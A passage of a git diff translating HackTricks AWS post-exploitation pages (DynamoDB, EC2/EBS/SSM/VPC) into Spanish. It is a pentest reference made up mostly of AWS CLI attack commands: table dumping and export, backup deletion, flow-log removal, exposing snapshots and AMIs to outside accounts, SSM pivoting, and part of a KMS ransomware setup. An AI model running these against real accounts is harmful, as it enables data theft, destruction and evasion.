"UnshareInterval": 30, - "UnshareIntervalUnit": "DAYS" - } - ] - } - ], - "Parameters": { - "ExcludeBootVolume": false - } +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index d63689d9e..5be7828e0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - DynamoDB Post Exploitation +# AWS - DynamoDB Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## DynamoDB -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,342 +12,292 @@ For more information check: ### `dynamodb:BatchGetItem` -An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`). +Un atacante con estos permisos podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente pedir todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtener esto consultando los metadatos de la tabla (`describe-table`). {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { - "ProductCatalog" : { // This is the table name - "Keys": [ - { - "Id" : { // Primary keys name - "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those - } - } - ] - } +"ProductCatalog" : { // This is the table name +"Keys": [ +{ +"Id" : { // Primary keys name +"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those +} +} +] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb batch-get-item \ - --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ - --region +--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla ### `dynamodb:GetItem` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve: - +**Similar a los permisos anteriores** este permite a un posible atacante leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { - "N": "205" +"N": "205" } } ``` - -With this permission it's also possible to use the **`transact-get-items`** method like: - +Con este permiso también es posible utilizar el método **`transact-get-items`** de la siguiente manera: ```json aws dynamodb transact-get-items \ - --transact-items file:///tmp/a.json +--transact-items file:///tmp/a.json // With a.json [ - { - "Get": { - "Key": { - "Id": {"N": "205"} - }, - "TableName": "ProductCatalog" - } - } +{ +"Get": { +"Key": { +"Id": {"N": "205"} +}, +"TableName": "ProductCatalog" +} +} ] ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla ### `dynamodb:Query` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. +**Similar a los permisos anteriores**, este permite a un posible atacante leer valores de solo 1 tabla dado la clave primaria de la entrada a recuperar. Permite usar un [subconjunto de comparaciones](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), pero la única comparación permitida con la clave primaria (que debe aparecer) es "EQ", por lo que no se puede usar una comparación para obtener toda la base de datos en una solicitud. {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json - // With a.json - { +// With a.json +{ "Id" : { - "ComparisonOperator":"EQ", - "AttributeValueList": [ {"N": "205"} ] - } +"ComparisonOperator":"EQ", +"AttributeValueList": [ {"N": "205"} ] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb query \ - --table-name TargetTable \ - --key-condition-expression "AttributeName = :value" \ - --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ - --region +--table-name TargetTable \ +--key-condition-expression "AttributeName = :value" \ +--expression-attribute-values '{":value":{"S":"TargetValue"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla ### `dynamodb:Scan` -You can use this permission to **dump the entire table easily**. - +Puedes usar este permiso para **volcar toda la tabla fácilmente**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla ### `dynamodb:PartiQLSelect` -You can use this permission to **dump the entire table easily**. - +Puedes usar este permiso para **volcar toda la tabla fácilmente**. ```bash aws dynamodb execute-statement \ - --statement "SELECT * FROM ProductCatalog" +--statement "SELECT * FROM ProductCatalog" ``` - -This permission also allow to perform `batch-execute-statement` like: - +Esta permiso también permite realizar `batch-execute-statement` como: ```bash aws dynamodb batch-execute-statement \ - --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' +--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` +pero necesitas especificar la clave primaria con un valor, así que no es tan útil. -but you need to specify the primary key with a value, so it isn't that useful. - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -This permission will allow an attacker to **export the whole table to a S3 bucket** of his election: - +Este permiso permitirá a un atacante **exportar toda la tabla a un bucket S3** de su elección: ```bash aws dynamodb export-table-to-point-in-time \ - --table-arn arn:aws:dynamodb:::table/TargetTable \ - --s3-bucket \ - --s3-prefix \ - --export-time \ - --region +--table-arn arn:aws:dynamodb:::table/TargetTable \ +--s3-bucket \ +--s3-prefix \ +--export-time \ +--region ``` - -Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with: - +Nota que para que esto funcione, la tabla debe tener la recuperación en el tiempo habilitada, puedes verificar si la tabla la tiene con: ```bash aws dynamodb describe-continuous-backups \ - --table-name +--table-name ``` - -If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission: - +Si no está habilitado, necesitarás **habilitarlo** y para eso necesitas el permiso **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ - --table-name \ - --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true +--table-name \ +--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indirecto al localizar información sensible en la tabla ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table. - +Con estos permisos, un atacante podría **crear una nueva tabla a partir de un respaldo** (o incluso crear un respaldo para luego restaurarlo en una tabla diferente). Luego, con los permisos necesarios, podría verificar **información** de los respaldos que **ya no podría estar en la tabla de producción**. ```bash aws dynamodb restore-table-from-backup \ - --backup-arn \ - --target-table-name \ - --region +--backup-arn \ +--target-table-name \ +--region ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table backup +**Impacto Potencial:** Privesc indirecto al localizar información sensible en la copia de seguridad de la tabla ### `dynamodb:PutItem` -This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**. +Este permiso permite a los usuarios **agregar un nuevo elemento a la tabla o reemplazar un elemento existente** con un nuevo elemento. Si ya existe un elemento con la misma clave primaria, **todo el elemento será reemplazado** por el nuevo elemento. Si la clave primaria no existe, se **creará** un nuevo elemento con la clave primaria especificada. {{#tabs }} -{{#tab name="XSS Example" }} - +{{#tab name="Ejemplo de XSS" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { - "Id": { - "S": "1000" - }, - "Name": { - "S": "Marc" - }, - "Description": { - "S": "" - } +"Id": { +"S": "1000" +}, +"Name": { +"S": "Marc" +}, +"Description": { +"S": "" +} } ``` - {{#endtab }} -{{#tab name="AI Example" }} - +{{#tab name="Ejemplo de IA" }} ```bash aws dynamodb put-item \ - --table-name ExampleTable \ - --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ - --region +--table-name ExampleTable \ +--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Impacto Potencial:** Explotación de vulnerabilidades/evitaciones adicionales al poder agregar/modificar datos en una tabla de DynamoDB ### `dynamodb:UpdateItem` -This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression. +Este permiso permite a los usuarios **modificar los atributos existentes de un ítem o agregar nuevos atributos a un ítem**. No **reemplaza** el ítem completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo ítem** con la clave primaria especificada y establecerá los atributos especificados en la expresión de actualización. {{#tabs }} -{{#tab name="XSS Example" }} - +{{#tab name="Ejemplo de XSS" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ - --key file://key.json --update-expression "SET Description = :value" \ - --expression-attribute-values file://val.json +--key file://key.json --update-expression "SET Description = :value" \ +--expression-attribute-values file://val.json ### With key.json: { - "Id": { - "S": "1000" - } +"Id": { +"S": "1000" +} } ### and val.json { - ":value": { - "S": "" - } +":value": { +"S": "" +} } ``` - {{#endtab }} -{{#tab name="AI Example" }} - +{{#tab name="Ejemplo de IA" }} ```bash aws dynamodb update-item \ - --table-name ExampleTable \ - --key '{"Id": {"S": "1"}}' \ - --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ - --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ - --region +--table-name ExampleTable \ +--key '{"Id": {"S": "1"}}' \ +--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ +--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Impacto Potencial:** Explotación de vulnerabilidades/evitaciones adicionales al poder agregar/modificar datos en una tabla de DynamoDB ### `dynamodb:DeleteTable` -An attacker with this permission can **delete a DynamoDB table, causing data loss**. - +Un atacante con este permiso puede **eliminar una tabla de DynamoDB, causando pérdida de datos**. ```bash aws dynamodb delete-table \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -**Potential impact**: Data loss and disruption of services relying on the deleted table. +**Impacto potencial**: Pérdida de datos y interrupción de los servicios que dependen de la tabla eliminada. ### `dynamodb:DeleteBackup` -An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**. - +Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que podría causar pérdida de datos en caso de un escenario de recuperación ante desastres**. ```bash aws dynamodb delete-backup \ - --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ - --region +--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ +--region ``` - -**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario. +**Impacto potencial**: Pérdida de datos e incapacidad para recuperar de una copia de seguridad durante un escenario de recuperación ante desastres. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Test if this actually works +> TODO: Probar si esto realmente funciona -An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage. - -1. Enable a stream on a DynamoDB table: +Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear cambios en la tabla en tiempo real**. Esto permite al atacante monitorear y exfiltrar cambios de datos, lo que potencialmente lleva a una fuga de datos. +1. Habilitar un stream en una tabla de DynamoDB: ```bash bashCopy codeaws dynamodb update-table \ - --table-name TargetTable \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ - --region +--table-name TargetTable \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ +--region ``` - -2. Describe the stream to obtain the ARN and other details: - +2. Describe el flujo para obtener el ARN y otros detalles: ```bash bashCopy codeaws dynamodb describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -3. Get the shard iterator using the stream ARN: - +3. Obtén el iterador de fragmentos utilizando el ARN de la secuencia: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ - --stream-arn \ - --shard-id \ - --shard-iterator-type LATEST \ - --region +--stream-arn \ +--shard-id \ +--shard-iterator-type LATEST \ +--region ``` - -4. Use the shard iterator to access and exfiltrate data from the stream: - +4. Utiliza el iterador de fragmentos para acceder y exfiltrar datos del flujo: ```bash bashCopy codeaws dynamodbstreams get-records \ - --shard-iterator \ - --region +--shard-iterator \ +--region ``` - -**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes. +**Impacto potencial**: Monitoreo en tiempo real y filtración de datos de los cambios en la tabla DynamoDB. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 9ae6a0a4f..6b81dcb99 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,30 +1,29 @@ -# AWS - EC2, EBS, SSM & VPC Post Exploitation +# AWS - EC2, EBS, SSM & VPC Post Explotación {{#include ../../../../banners/hacktricks-training.md}} ## EC2 & VPC -For more information check: +Para más información consulta: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Espejo VPC Malicioso -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\ -An attacker could abuse this to capture all the traffic and obtain sensitive information from it: +El espejeo de tráfico VPC **duplica el tráfico entrante y saliente de las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado comúnmente se enviaría a algo como un sistema de detección de intrusiones en la red (IDS) para análisis y monitoreo.\ +Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible de él: -For more information check this page: +Para más información consulta esta página: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance - -Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**: +### Copiar Instancia en Ejecución +Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta [trucos de escalación de privilegios de EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Sin embargo, otra forma de verificar qué contiene es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**: ```shell # List instances aws ec2 describe-images @@ -48,211 +47,191 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` - ### EBS Snapshot dump -**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\ -If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account: +**Las instantáneas son copias de seguridad de volúmenes**, que generalmente contendrán **información sensible**, por lo tanto, revisarlas debería revelar esta información.\ +Si encuentras un **volumen sin una instantánea** podrías: **Crear una instantánea** y realizar las siguientes acciones o simplemente **montarlo en una instancia** dentro de la cuenta: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} -### Data Exfiltration +### Exfiltración de Datos -#### DNS Exfiltration +#### Exfiltración DNS -Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. +Incluso si aseguras un EC2 para que no pueda salir tráfico, aún puede **exfiltrarse a través de DNS**. -- **VPC Flow Logs will not record this**. -- You have no access to AWS DNS logs. -- Disable this by setting "enableDnsSupport" to false with: +- **Los registros de flujo de VPC no registrarán esto**. +- No tienes acceso a los registros DNS de AWS. +- Desactiva esto configurando "enableDnsSupport" en false con: - `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` +`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` -#### Exfiltration via API calls +#### Exfiltración a través de llamadas API -An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. +Un atacante podría llamar a los puntos finales de la API de una cuenta controlada por él. Cloudtrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los registros de Cloudtrail. -### Open Security Group - -You could get further access to network services by opening ports like this: +### Grupo de Seguridad Abierto +Podrías obtener acceso adicional a servicios de red abriendo puertos así: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` - ### Privesc to ECS -It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. +Es posible ejecutar una instancia de EC2 y registrarla para ser utilizada para ejecutar instancias de ECS y luego robar los datos de las instancias de ECS. -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +Para [**más información consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). ### Remove VPC flow logs - ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` - ### SSM Port Forwarding -Required permissions: +Permisos requeridos: - `ssm:StartSession` -In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs. -One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster. +Además de la ejecución de comandos, SSM permite el túnel de tráfico, lo que puede ser abusado para pivotar desde instancias EC2 que no tienen acceso a la red debido a Grupos de Seguridad o NACLs. Uno de los escenarios donde esto es útil es pivotar desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster EKS privado. -> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html - -1. Install the SessionManagerPlugin on your machine -2. Log in to the Bastion EC2 using the following command: +> Para iniciar una sesión, necesitas tener instalado el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +1. Instala el SessionManagerPlugin en tu máquina +2. Inicia sesión en el Bastion EC2 usando el siguiente comando: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` - -3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script -4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile -5. Log in to EKS as the Bastion EC2: - +3. Obtén las credenciales temporales de Bastion EC2 AWS con el script de [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) +4. Transfiere las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como perfil `[bastion-ec2]` +5. Inicia sesión en EKS como el Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` - -6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost` -7. Create an SSM tunnel as follows: - +6. Actualiza el campo `server` en el archivo `$HOME/.kube/config` para que apunte a `https://localhost` +7. Crea un túnel SSM de la siguiente manera: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` - -8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running: - +8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el EC2 Bastion y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando: ```shell kubectl get pods --insecure-skip-tls-verify ``` +Note que las conexiones SSL fallarán a menos que establezca la bandera `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM. -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. - -Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application. - -### Share AMI +Finalmente, esta técnica no es específica para atacar clústeres EKS privados. Puede establecer dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada. +### Compartir AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` +### Buscar información sensible en AMIs públicas y privadas -### Search sensitive information in public and private AMIs - -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data. - -### Share EBS Snapshot +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Imágenes de Máquina de Amazon (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles. +### Compartir instantánea de EBS ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` - ### EBS Ransomware PoC -A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it. - -First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption' +Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería ser renombrado a RMS por Ransomware Management Service con lo fácil que es usarlo para cifrar varios servicios de AWS. +Primero, desde una cuenta de AWS del 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo dejaremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption' ``` { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Outside Encryption", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey", - "kms:GenerateDataKeyWithoutPlainText", - "kms:CreateGrant" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:CreateGrant", - "kms:ListGrants", - "kms:RevokeGrant" - ], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Outside Encryption", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey", +"kms:GenerateDataKeyWithoutPlainText", +"kms:CreateGrant" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:CreateGrant", +"kms:ListGrants", +"kms:RevokeGrant" +], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" 